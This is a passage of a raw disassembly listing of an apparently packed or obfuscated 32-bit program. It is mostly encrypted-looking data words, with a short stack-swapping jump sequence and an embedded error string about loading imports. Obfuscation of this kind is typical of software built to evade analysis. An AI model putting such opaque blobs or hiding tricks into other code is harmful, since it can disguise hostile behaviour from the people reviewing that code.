7C731A42h, 0B96F388Eh, 2A27CF7Eh, 65643AADh, 0F17C6C46h dd 9ABF9B6h, 0B2306C0Ch, 0AB96C6B7h, 0B057EE9h, 58B429B2h dd 0A7F79E34h, 7C6C7219h, 3CDBA8D7h, 991BC1BEh, 1C72099Ch dd 7C6C715Ch, 0C6980F68h, 7C6C7182h, 0F989214Eh, 6C72256Fh dd 0B0526F7Ch, 72334925h, 0B6F17C6Ch, 17F46A1Fh, 55729300h dd 33B1EDFDh, 660D9F36h, 7951263h, 0A3D0667Bh, 6C584913h dd 0FEF37F7Ch, 7570F381h, 53F56704h, 0D6983976h, 5B5D069h dd 15109246h, 70570982h, 0EE78DE9Dh, 0C66C3848h, 0B024B2C3h dd 0C47C6C51h, 0DD4CCF3Eh, 0FDBCEB68h, 0EA7D0F7Ch, 0A7F78EFFh dd 7C6D0DE1h, 75E580EFh, 0A41671B6h, 0A1B73DE7h, 24740504h dd 99068782h, 0FAA693FBh, 6D0DE4A4h, 36B7F07Ch, 0D86CF9Fh dd 55527C6Dh, 8C832EC2h, 0E4398926h, 0C0F0CE71h, 4652233Eh dd 0A8C9A6BDh, 0CEBFBA38h, 0B34837EBh, 93FEC5Eh, 0AFC8AD12h dd 1B8C8h, 7EB95300h, 57222128h, 44C56703h, 24643AD1h dd 0B7762464h, 1357A821h, 0D8A7D58Fh, 92CBA372h, 0B37C6C3Dh dd 3E06421Ch, 21D27C6Ch, 54515623h, 0BF17948Fh, 4FE17433h dd 0D7C3A1A4h, 0A5E4DD2Ch, 0E352E110h, 77F4F571h, 337549E0h dd 817C6C78h, 591F6FE6h, 677C6C77h, 0B505B218h, 3B32351h dd 0D5A2BF47h, 0AB393CC7h, 47F0C09h, 0F930C9B6h, 0ED965A01h dd 951E8A16h, 0FA96E19Eh, 6A0B787Fh, 0B74D68C4h, 8520BCD5h dd 1EB4F582h, 8EFFF272h, 4A0E60F7h, 96F73321h, 52D141E9h dd 0DA593557h, 0A2D7AEDFh, 96779A41h, 1D67A2B6h, 501A908Dh dd 0E95D7BD3h, 0C669BD65h, 0E68D5714h, 81DD74E3h, 69A8FAC7h dd 0A4C46A15h, 3F4C4BE8h, 37AE6451h, 0A8FB2167h, 53D3AF69h dd 213CC25Eh, 3FD1C0A0h, 7B17BFB2h, 0D46BFAFFh, 0A8FABEFAh dd 0C56D0A69h, 39DBE6B6h, 0FA9CD0AEh, 4F2869A8h, 0F7F2712Dh dd 4B4EEA86h, 54C45DCh, 469033FAh, 84460250h, 159269A8h dd 97E4E187h, 94334016h, 30B37926h, 0B83B5735h, 0B580CCBDh dd 52F4881Fh, 1F6F0677h, 69A88359h, 0EE9B1867h, 610482F0h dd 4ACB6346h, 0A8843C74h, 8DEF8869h, 0E6979211h, 7DE8EF8Ah dd 0E84E43E3h, 65DA90CBh, 0A63134BFh, 83F9BF0Fh, 0B8C769A8h dd 991A7612h, 0BCAED6Eh, 0C9765276h, 2BE9D4B8h, 77B2E2BCh dd 592669A8h, 0E7316A3Bh, 0D99FEFD3h, 0E769A8F6h, 0C305EF98h dd 6A36FC7h, 8C237203h, 217170F0h, 69A90767h, 0C8A40A75h dd 2CC057EDh, 70258D84h, 0A9076A1Eh, 4F1F7669h, 69A90809h dd 492BA8D7h, 0EDFE85AAh, 2432D791h, 1D9AE576h, 66241F7Fh dd 3C129FEFh, 0A13B7C6Ch, 0F900001h, 0AC026310h, 58F4630Ch dd 0E2BEDADDh, 5D334047h, 512DB862h, 82B44DD4h, 0D8760760h dd 76245A9Ch, 9012CBF4h, 1587E495h, 9C1D6A6Fh, 7213881Fh dd 8938864Dh, 8925377Ch, 6A505AFCh, 7C7D51C4h, 0C87C6C8Dh dd 21C2DEAFh, 6F0F9B22h, 76290C58h, 4C7F8h, 69680900h dd 10159F0Bh, 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h dd 633F5D5Ch, 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 1C98D0AEh dd 82247C73h, 0DC7EB901h, 3411B749h, 444D2647h, 71EE704Eh dd 26BD58FEh, 43EBEE8Ah, 6C893415h, 70E7807Ch, 2E5F4ADCh dd 7CCAE941h, 7C6C4939h, 5FE17B12h, 0DE743542h, 12093FECh dd 0C8DBA904h, 93h, 332D4753h, 0CF087624h, 315356DDh, 2EB95B59h dd 24332050h, 0AB74976h, 330B4D21h, 0DED97624h, 0C9B72051h dd 32EEEF95h, 0D9D971FEh, 0A95247DEh, 0F7C0CF16h, 0DB0609F4h dd 466986AEh, 32B1C3F0h, 610CA037h, 7271F26Eh, 3BD5CCDCh dd 0ADCABBBEh, 0C98BA905h, 6150005Eh, 139C7624h, 966D1662h dd 0FC96A20Ah, 606F1569h, 3A457624h, 0A0B7FD4Dh, 5A187624h dd 9F3503E5h, 53DF7108h, 0EA40215Eh, 24A0C8ECh, 0F1931C76h dd 0E447h, 11922E00h, 0B92BBC12h, 5049DC7Eh, 0DEEDA3C7h dd 7277FD82h, 4FE76405h, 5AF1E8C6h, 4987C6Ch, 6B087978h dd 5DC8B7C3h, 0AC333DC3h, 224330B1h, 0B9DEF8Ch, 0E16E7B0Dh dd 0E1991283h, 79FE17C8h, 0AD9468CEh, 662678EFh, 627C6C50h dd 9DE67405h, 4A7C6C50h, 1E052398h, 0C42456F3h, 85h, 0C413F4ADh dd 2220A221h, 47340BB6h, 0B9F79026h, 734BDA80h, 76243335h dd 597E483h, 8B1A6663h, 32DE9AF4h, 680A7624h, 0ED9F1C6Dh dd 69502C82h, 0E49D34A3h, 9224DE10h, 0DEFC52CDh, 7624FCE6h dd 31443572h, 0B911149Fh, 253C591Bh, 0F3E58F76h, 82F3706Dh dd 0CABD4CF6h, 0D934EE4Eh, 734637B4h, 6C0BC0BFh, 0EED731EEh dd 0EFE5B92Ch, 657624F1h, 9AF48B1Ah, 7624F1DEh, 441A8DEAh dd 7624F204h, 637FD7D0h, 0FBFE85C0h, 0E186FB8Ah, 0FF7C1714h dd 1E7BDAB8h, 66E78EE5h, 0A4A340D0h, 1D089F31h, 1BA70F6Ch dd 0FAD488B3h, 76243BBEh, 0FFF27E0Ah, 866F17Eh, 7C6C4EE5h dd 5DEF6601h, 7D7AD0D1h, 6C4DA7EDh, 4B30A27Ch, 0A909A65Dh dd 2C7CDBh, 0B9A70000h, 7549DC7Eh, 7C6C4064h, 3D38BB55h dd 0ED9AE595h, 6C40175Dh, 0C15B327Ch, 5455223Fh, 291FCCFEh dd 0DBA903F2h, 0BE28h, 0FE857300h, 0F9D56CFBh, 762432BFh dd 15D6960Dh, 146CD4E2h, 0E0B03F97h, 64344544h, 0D9ABD8DFh dd 34C85F5Ah, 0F0924093h, 572C3A6h, 20B6F784h, 5C6ED680h dd 0D95A7624h, 50E7BEDAh, 24543A7Eh, 51F98676h, 562722C1h dd 89F3D06h, 6C83E7B6h, 1C72037Ch, 7C6C405Ch, 0E28E0F68h dd 7CEBB18Ah, 0B6E52D22h, 42E1BD82h, 0BD4FC647h, 44503031h dd 99DFAFB8h, 277626DCh, 7C64DB58h, 4A129E19h, 1EA25D5h dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h dd 7335891Ch, 417C731Fh, 0F98524FFh, 670C98F8h, 0B9630060h dd 7549DC7Eh, 7C6C4064h, 2B60F7B0h, 6FDF8799h, 0DAD9713Eh dd 6C8C480Ch, 0F58C037Ch, 6C8BDF99h, 1391ED7Ch, 9B189916h dd 0E2C2B933h, 0DBA95739h, 0E9E3h, 0FE853800h, 54D06CFBh dd 0EF472455h, 0C134B0C0h, 283905FBh, 4A3BB8C6h, 8E61463Bh dd 3B5F1975h, 26D7624h, 49D17771h, 0FD91F3E1h, 7C077624h dd 757EE79h, 7624F541h, 0B0C1C46Fh, 8DE681F3h, 0A12F8509h dd 0FF8B23E2h, 740500A3h, 0EA7D1F18h, 6D17C994h, 0F6921D7Ch dd 47D6EA9Fh, 82EAAE00h, 89F67C6Ch, 18C0FCh, 0BC121590h dd 0A235D7E0h, 0B752F4CCh, 0E0773082h, 0FA7B5049h, 6D6C69B9h dd 265D5711h, 9D1A6576h, 0D8D96535h, 7C52E9B8h, 76265E3Ch dd 0CB47EF88h, 0ABBC392Fh, 265D95D3h, 0C7442376h, 96EFE746h dd 26D9129Eh, 0CBA8h, 6D640D00h, 1411930Fh, 98871874h dd 0D04ACF8h, 0B2B7336Fh, 0DCE4CDD6h, 67335150h, 0E8A4C4C1h dd 722E4A4Dh, 3D96F2F1h, 2094D4AAh, 9E207C73h, 0F8F98505h dd 60670C98h, 0FE856300h, 3D4A4DE8h, 4F5AEC7Ch, 83F0713Eh dd 0DDDC58F4h, 1B1EA575h, 64261179h, 159A9DF1h, 412E7C73h dd 0C4C36030h, 0A4E4BA51h, 0D57C7314h, 7314BFF9h, 16620D7Ch dd 0F5A1C169h, 0AC3A4B4Eh, 0B0EB629Fh, 780914ABh, 169E8C28h dd 8C0D6A1Bh, 493684FFh, 0DA8179B0h, 66227C13h, 72A85AE1h dd 0DF3099C1h, 8300E0C0h, 0C1C46F2Bh, 494CF7A3h, 0C9C86838h dd 2027C25Eh, 0E86AED8Ah, 4F4AE933h, 0F7F2712Dh, 0A0886h dd 0E37D0000h, 70314E43h, 0DA41C9DAh, 94E5FC85h, 0B787F04h dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah dd 397655EAh, 0BFCCC96Bh, 0E78957B9h, 4C781h, 0EF810000h dd 4, 5C243C87h, 68241C89h, 60EDh, 68240489h, 42C3h, 68241C89h dd 64EE312h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 4832424h dd 815B0424h, 4ECh, 24048900h, 8B08438Fh, 8956241Ch, 4C681E6h dd 83000000h, 348704C6h, 48B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- db 0F6h, 7Fh, 0A9h dd 0F9AD2C18h, 4EEF78B8h, 0FFC50306h, 80EDE0h, 0C841A14Dh dd 0F69FE352h, 0A92F2D2Ah, 9B24840Eh, 3787C221h, 0E2CCF306h dd 197C4E14h, 0F066565h, 0E06F274Fh, 0D30E403Dh, 7632CB2Eh dd 31AE142Fh, 0B8996C32h, 0AA6C9143h, 225A1604h, 0BFBA0104h dd 976CF053h, 6071786Bh, 0AEA10070h, 96734A12h, 8B518674h dd 5B8B8062h, 0E8229B22h, 32CCE612h, 11E829h, 856F0000h dd 0A8C5525Ah, 4F764AD0h, 925D145Ah, 0F3C6A25h, 589h, 0E0816600h dd 0F5B3FC7h, 1D88h, 8D0F6000h, 0 dd 10E9h, 878F4A00h, 8093CF87h, 4F5AC06Eh, 0F83BEDFEh dd 0C3816197h, 63C9h, 11E952h, 198F0000h, 0DC76D9B0h, 2C77480Fh dd 0ED3198A2h, 5ABE0284h, 0AE9F62Bh, 7D000000h, 27265515h dd 36162C4Bh, 333C8B5Bh, 81D1BF0Fh, 6EF84DEFh, 81D78A14h dd 1FACACF7h, 0E3C7814Fh, 8178E45Eh, 110377E0h, 333C8964h dd 0BAD38B66h, 3657F90Bh, 0E902EE83h, 0Fh, 164C77E8h, 8AD06816h dd 0C5615E6Dh, 4E44C325h, 0E7C9804Eh, 9CF8FE81h, 850FFFFFh dd 0FFFFFFADh, 8DC3B70Fh, 4EF1FB8Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0EDF0BCAEh dd 92B5920Dh, 5057910Dh, 0F4CCDB81h, 5A5B47BFh, 14058D89h dd 11E90648h, 86000000h, 10B81F42h, 7CC1F0A0h, 0F5561425h dd 0F8051CE6h, 302585C7h, 59EC0648h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6AFD56C3h dd 0DE29FCE4h, 2AD985C7h, 648h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 22C58CC3h dd 893B3C68h, 99B5FFF8h, 8B06480Ch, 481C0D95h, 7195FF06h dd 2B06480Eh, 48012DBDh, 0FF006A06h, 48092D95h, 0EBC08B06h dd 0BB8F4E5Ch, 0AAF12583h, 9FD08338h, 9CF7D77h, 0BEED93CAh dd 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 0BBBC2781h dd 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h, 31165E8h dd 0AA18874Ah, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h, 0CBAC557Bh dd 721D8F40h, 0E1B23C91h, 80152623h, 127E950h, 5B500000h dd 0EFAC7376h, 154Eh, 6E410000h, 72724520h, 6820726Fh dd 6F207361h, 72727563h, 77206465h, 656C6968h, 616F6C20h dd 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h, 0E75CEB77h dd 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h, 777h dd 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 600h, 6E14800h, 921DF4C7h, 96A6CF63h, 5D74BB8Fh, 1C131134h dd 185335B1h, 6166427Ah, 9E35722Bh, 1177A9F2h, 90EF8832h dd 132E6D8Bh, 0B102BFBFh, 0C6991778h, 0A8E5D069h, 132E4907h dd 45715632h, 1177A961h, 90EF8832h, 132E6D8Bh, 0B435BFBFh dd 0C6991778h, 0D5EDD069h, 0E7D6F9B1h, 1A66247Ch, 156601B6h dd 33E30532h, 0EA600A8Eh, 43E3AFE2h, 0EA605F8Eh, 0ECE34EE2h dd 43600C3Dh, 0BDDE705Ah, 0BCD3EEAEh, 9860C01Bh, 5E1924B7h dd 9CB6DD34h, 5D7370B7h, 95E30534h, 45600AC1h, 0E707A7BFh dd 0EA36177Ch, 5D5629A7h, 0D0E38334h, 15606A3Fh, 0D3661132h dd 5D6971B7h, 7C0E0134h, 0EAE8505Bh, 5D68C487h, 0AFE30534h dd 0EA600C0Ah, 98E3ABE2h, 0D3605920h, 5D6971B7h, 4B0E0734h dd 0EAFA4559h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 8DE3ABE2h dd 0D3605FC0h, 5D6971B7h, 3C0E1034h, 0EA88405Ah, 5D68C487h dd 0AFE30534h, 0EA600C0Ah, 89E3ABE2h, 0D3605FC0h, 5D6971B7h dd 0D70E0134h, 0EABC420Ah, 5D68C487h, 0AFE30534h, 0EA600C0Ah dd 0B5E3ABE2h, 96605FC0h, 5D566D8Fh, 90694434h, 15662277h dd 1A9F94F4h, 7D238E7Ah, 0EF463AB4h, 1BB397CDh, 90EB177Ah dd 132EB088h, 90EF94CDh, 1328D096h, 1A9F94F4h, 7D2A8E7Ah dd 0F54094F1h, 1BB397CDh, 90EB177Ah, 132EB088h, 90EF94CDh dd 1328D09Ah, 156651DBh, 0ECE34E32h, 47600C3Dh, 5F822F5Ah dd 68D3EE8Eh, 9860C000h, 5D5EFEB7h, 9CB6DD34h, 5B94B5B7h dd 0ECE34E34h, 47600C3Dh, 592C6A5Ah, 68D3EE94h, 9860C000h dd 5D5EFEB7h, 9CB6DD34h, 5B94B9B7h, 0ECE34E34h, 47600C3Dh dd 57D2C85Ah, 0C0D3EECFh, 9860C03Ch, 5D5EFEB7h, 9CB6DD34h dd 5D56A8B7h, 0ECE34E34h, 62600C3Dh, 82CE815Ah, 38D3EEC1h dd 9860C01Dh, 5D5EFEB7h, 9CB6DD34h, 5D6D18B7h, 0ECE34E34h dd 47600C3Dh, 0C857355Ah, 0C0D3EEB8h, 9860C03Ch, 5D5EFEB7h dd 9CB6DD34h, 5D6C64B7h, 0ECE34E34h, 43600C3Dh, 0A0B1B5Ah dd 0BCD3EEE6h, 9860C01Bh, 5E1924B7h, 9CB6DD34h, 5D6CE4B7h dd 0ECE34E34h, 52600C3Dh, 0C976585Ah, 0C0D3EEB3h, 9860C03Ch dd 5D5EFEB7h, 9CB6DD34h, 5D7A0CB7h, 0ECE34E34h, 52600C3Dh dd 1AD3C05Ah, 0C0D3EEB8h, 9860C03Ch, 5D5EFEB7h, 9CB6DD34h dd 5B94D9B7h, 0F8DB0B34h, 15600C1Ch, 1337A63Dh, 90A01132h dd 132E87CBh, 98F2C7Eh, 0A099FBE8h, 132E1FE7h, 2DDC0DBFh dd 0C599427Ah, 0E7D2A7BBh, 90A0177Ch, 132E87CBh, 0CBA82C7Eh dd 0A099FF46h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7DEA7BBh dd 90A0177Ch, 132E87CBh, 97592C7Eh, 0A09995B3h, 132E1FE7h dd 2DDC0DBFh, 0C599427Ah, 0E7DAA7BBh, 90A0177Ch, 132E87CBh dd 557E2C7Eh, 0A099911Dh, 132E1FE7h, 2DDC0DBFh, 0C599427Ah dd 0E7DAA7BBh, 90A0177Ch, 132E87CBh, 13722C74h, 0A09998ECh dd 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7A2A7BBh, 90A0177Ch dd 132E87CBh, 51C2C75h, 0A099A3EEh, 132E1FE7h, 2DDC0DBFh dd 0C599427Ah, 0E7AAA7BBh, 90A0177Ch, 132E87CBh, 9BCA2C75h dd 0A099CDB5h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7B6A7BBh dd 90A0177Ch, 132E87CBh, 0B2B42C75h, 0A099F6A8h, 132E1FE7h dd 2DDC0DBFh, 0C599427Ah, 0E7B2A7BBh, 90A0177Ch, 132E87CBh dd 2C622C75h, 0A09998F3h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah dd 0E7BEA7BBh, 0A8E5177Ch, 132E8FCFh, 0D3463132h, 5D69DBB7h dd 720E5634h, 0EA86FA1Fh, 5D689187h, 0AFE3AF34h, 0EA60590Ah dd 0C9E301E2h, 0D3600AC0h, 5D69DBB7h, 0A40E5634h, 0EAE8A181h dd 5D689187h, 0AFE3AF34h, 0EA60590Ah, 0F5E301E2h, 0D3600AC0h dd 5D69DBB7h, 0B20E5234h, 0EAA6FE78h, 5D689187h, 0AFE3AF34h dd 0EA60590Ah, 0F1E301E2h, 0D3600AC0h, 5D69DBB7h, 0FE0E5D34h dd 0EA9DEE5Eh, 5D496987h, 0AFE3AF34h, 0EA60590Ah, 6DE301E2h dd 0D3600AC1h, 5D69DBB7h, 400E5534h, 0EADDFBBCh, 5D689187h dd 0AFE3AF34h, 0EA60590Ah, 0FDE301E2h, 0D3600AC0h, 5D69DBB7h dd 0E90E5234h, 0EADA065Ch, 5D689187h, 0AFE3AF34h, 0EA60590Ah dd 0F9E301E2h, 0D3600AC0h, 5D69DBB7h, 0BF0E4234h, 0EAA0980Ch dd 5D689187h, 0AFE3AF34h, 0EA60590Ah, 0E5E301E2h, 96600AC0h dd 5D79278Fh, 91691134h, 156688D2h, 1A9FC1F4h, 7D20247Ah dd 0EFF0DF03h, 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh dd 13287B7Eh, 1A9FC1F4h, 7D20247Ah, 0E9C12BE4h, 1BB33DCDh dd 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B6Eh, 1A9FC1F4h dd 7D20247Ah, 879AB532h, 1BB33DCDh, 90EB427Ah, 132E1A88h dd 90EFC1CDh, 13287B52h, 1A9FC1F4h, 7D20247Ah, 0E3B25E58h dd 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B56h dd 1A9FC1F4h, 7D20247Ah, 81AB41D5h, 1BB33DCDh, 90EB427Ah dd 132E1A88h, 90EFC1CDh, 13287B62h, 1A9FC1F4h, 7D20247Ah dd 0A4446509h, 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh dd 13287B66h, 1A9FC1F4h, 7D20247Ah, 0CA1FFBDFh, 1BB33DCDh dd 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B6Ah, 129BF9B1h dd 6066247Ah, 0ECE3D712h, 4660C03Dh, 0AB861A5Ah, 0C0D3DDFCh dd 9860593Ch, 5D5E32B7h, 9CB6BB34h, 5B94D6B7h, 0ECE3D734h dd 5260C03Dh, 0A438C35Ah, 0C0D3DDF5h, 9860593Ch, 5D5E32B7h dd 9CB6BB34h, 5B94DAB7h, 0E8DB9234h, 1560C035h, 90A06447h dd 132E2DCBh, 6B637975h, 0A0996E50h, 132E4AE7h, 2DDCA7BFh dd 0C599177Ah, 0E79A0DBBh, 90A0427Ch, 132E2DCBh, 1C907971h dd 0A0991A48h, 132E4AE7h, 2DDCA7BFh, 0C599177Ah, 0E6660DBBh dd 90A0427Ch, 132E2DCBh, 82467971h, 0A0997413h, 132E4AE7h dd 2DDCA7BFh, 0C599177Ah, 0E6620DBBh, 0A8E5427Ch, 132E25CFh dd 0D3266432h, 5D6971B7h, 160E0734h, 0EAED229Ah, 5D68C487h dd 0AFE30534h, 0EA600C0Ah, 19E3ABE2h, 0D3605FC1h, 5D6971B7h dd 0C00E0734h, 0EA837904h, 5D68C487h, 0AFE30534h, 0EA600C0Ah dd 1DE3ABE2h, 0D3605FC1h, 5D6971B7h, 0F40E0734h, 0EA8C8800h dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 5E3ABE2h, 0D3605FC1h dd 5D6971B7h, 220E0734h, 0EAE2D39Eh, 5D68C487h, 0AFE30534h dd 0EA600C0Ah, 1E3ABE2h, 0D3605FC1h, 5D6971B7h, 0C10E0B34h dd 0EAF117A2h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 0DE3ABE2h dd 0D3605FC1h, 5D6971B7h, 170E0B34h, 0EA9F4C3Ch, 5D68C487h dd 0AFE30534h, 0EA600C0Ah, 9E3ABE2h, 0D3605FC1h, 5D6971B7h dd 5C0E0934h, 0EAAE154Bh, 5D68C487h, 0AFE30534h, 0EA600C0Ah dd 31E3ABE2h, 0D3605FC1h, 5D6971B7h, 9C0E0934h, 0EABAD57Fh dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 35E3ABE2h, 0D3605FC1h dd 5D6971B7h, 220E1134h, 0EAFA391Fh, 5D68C487h, 0AFE30534h dd 0EA600C0Ah, 3DE3ABE2h, 0D3605FC1h, 5D6971B7h, 3F0E0734h dd 0EAB4F7C2h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 39E3ABE2h dd 0D3605FC1h, 5D6971B7h, 0FF0E1634h, 0EA9B6086h, 5D68C487h dd 0AFE30534h, 0EA600C0Ah, 0ACE3ABE2h, 0D3605902h, 5D6971B7h dd 8C0E0334h, 0EA84BA6Bh, 5D68C487h, 0AFE30534h, 0EA600C0Ah dd 25E3ABE2h, 0D3605FC1h, 5D6971B7h, 0D70E0334h, 0EAD7DF52h dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 21E3ABE2h, 0D3605FC1h dd 5D6971B7h, 10E0334h, 0EAB984CCh, 5D68C487h, 0AFE30534h dd 0EA600C0Ah dd 2DE3ABE2h, 0D3605FC1h, 5D6971B7h, 7D0E1B34h, 0EAF872C0h dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 29E3ABE2h, 0D3605FC1h dd 5D6971B7h, 2A0E0B34h, 0EAA1DE49h, 5D68C487h, 0AFE30534h dd 0EA600C0Ah, 7DE3ABE2h, 0D3605FC1h, 5D6971B7h, 590E0334h dd 0EA9C795Ch, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 79E3ABE2h dd 0D3605FC1h, 5D6971B7h, 0D80E0334h, 0EAA52416h, 5D68C487h dd 0AFE30534h, 0EA600C0Ah, 65E3ABE2h, 0D3605FC1h, 5D6971B7h dd 0D90E1B34h, 0EAB29952h, 5D68C487h, 0AFE30534h, 0EA600C0Ah dd 55E3ABE2h, 0D3605FC1h, 5D6971B7h, 5B0E1B34h, 0EAF8CB66h dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 51E3ABE2h, 0D3605FC1h dd 5D6971B7h, 5D0E1B34h, 0EAB7311Ah, 5D68C487h, 0AFE30534h dd 0EA600C0Ah, 5DE3ABE2h, 7F605FC1h, 566E036h, 150E4432h dd 7F662222h, 74F3EE32h, 9C60C027h, 5D541DB7h, 1DE3AF34h dd 0EA605FE8h, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 5D73E9A7h, 0A0E3CD34h, 9C606A19h, 5D756CB7h, 7D26E234h dd 15665432h, 1466225Ah, 0EA667B32h, 5D73E9A7h, 0DCE3CD34h dd 9E606A27h, 5D6DF887h, 6CFB0334h, 9C600C3Dh, 5D62FF87h dd 94FB9834h, 9E60C01Ah, 5D693DAFh, 966DA934h, 916911CBh dd 156682EDh, 26061562h, 90E3ABF2h, 0AB605922h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 3EFF9FBBh, 0EAE3177Ah, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 132E3443h, 150E1558h dd 47668822h, 80994458h, 132E3753h, 36C794BBh, 0C5ED8E7Ah dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 5D541D8Fh, 0EAAFA134h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 90E3EE60h, 9E60C022h dd 5D76C1A7h, 8CF31B34h, 1A605919h, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 0D33C1F5h, 1566247Ah dd 90A11132h, 132EA1C7h, 15664432h, 0E7D69FB1h, 1A66177Ch dd 156680B6h, 1AFBC932h, 0EA606C7Fh, 0FCE3EEE1h, 9660C019h dd 5D4DAD8Fh, 97694634h, 15661150h, 3E8F0DF5h, 1567427Ah dd 98062232h, 5B959987h, 0E6DB0534h, 3E600B3Dh, 9EB1A9CCh dd 5D54488Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 132EAAA3h dd 1571C03Dh, 0A8E52232h, 132E311Fh, 1FE38732h, 0D2664432h dd 5D6BE7B7h, 15661034h, 0D2DFE932h, 0AF567144h, 46A1E3DDh dd 0C8D3989Fh, 0D260C036h, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 132E15EFh, 156E71DBh, 26BECF32h dd 5D6BE7B7h, 16AED034h, 0D5A74A19h, 9CA77722h, 5D6BE7AFh dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 0C8D39836h, 9E60C036h dd 5D693DAFh, 9E6DA934h, 0D7ED71E2h, 3CA70D19h, 0F5A7427Ah dd 0D0E32130h, 83605924h, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 0B4F303FBh, 2E600C11h, 2DE22D30h, 96661132h dd 2E278CF0h, 5D4DDDBFh, 0FDE32D34h, 9899EECDh, 5B94E587h dd 0F0DBC934h, 0B9606A2Eh, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 5D2808BFh, 9C87BB34h, 5D76A7BFh dd 433F4B34h, 1A1F15B9h, 1EED427Ah, 5E3A7B9h, 0F5B7177Ah dd 36470D31h, 0E355427Ah, 0D4CB44A4h, 906513D2h, 132E9EF7h dd 0D465E9A4h, 0B4DBA16Ch, 1460593Bh, 155F0C3Dh, 985D4432h dd 132E2CE7h, 154B953Dh, 985D8832h, 132E6B1Fh, 1547A63Dh dd 985D1132h, 132EAFF7h, 1573C03Dh, 88EB2232h, 132916F9h dd 0EDED5BCDh, 0E1FC1BBh, 0A18F247Ah, 98661134h, 5A6143AFh dd 96B5BB34h, 5D6F838Fh, 91691134h, 1566882Fh, 3A3BC109h dd 9169247Ah, 1566113Eh, 19AF0D09h, 9069427Ah, 15662237h dd 0EA99A8DBh, 98E3B3CDh, 1A600C20h, 15663AB7h, 0F0DB9232h dd 1560C002h, 156DC13Dh, 90EB2232h, 1328C8E6h, 0EA991DDBh dd 98E37FCDh, 1A606A20h, 0EA9998B6h, 7CDB0BCDh, 14600AC0h dd 1571A73Dh, 905D1132h, 13287AFAh, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 5D48CF8Fh, 91691134h dd 15668B55h, 0E7D2C109h, 1213247Ch, 13AB94B9h, 2E218E7Ah dd 5B94F8B7h, 9E615734h, 5D708CB7h, 905DCF34h, 1328B68Ah dd 90ED2547h, 132E2357h, 0D5E3B375h, 60600AC0h, 0B8E3A935h dd 52605928h, 0E7A20D09h, 1213427Ch, 328FA7B9h, 2E21177Ah dd 5B9440B7h, 9E613134h, 5D706BB7h, 905D5634h, 13287AFEh dd 90ED4347h, 132E00EFh, 0C5E32A75h, 6060C6C0h, 74E3CF35h dd 52606A21h, 0E7B29409h, 12138E7Ch, 0E6FC1B9h, 2E21247Ah dd 5B94C9B7h, 9E61FD34h, 5D6935B7h, 905D6534h, 1328E3D2h dd 90ED8F47h, 132E6DA7h, 0C9E31975h, 60605FC0h, 0E8DB0B22h dd 15600C35h, 90ED2547h, 132E1D1Bh, 98DB0B75h, 15600C3Fh dd 905D2D46h, 1328E25Ah, 90ED8F47h, 132E4C53h, 10DBA175h dd 1560592Dh, 0A8E5FA46h, 132E40BFh, 2E0F5632h, 5B955DB7h dd 9E61FD34h, 5D72C9B7h, 905D6534h, 1328E26Eh, 90ED8F47h dd 132E62C7h, 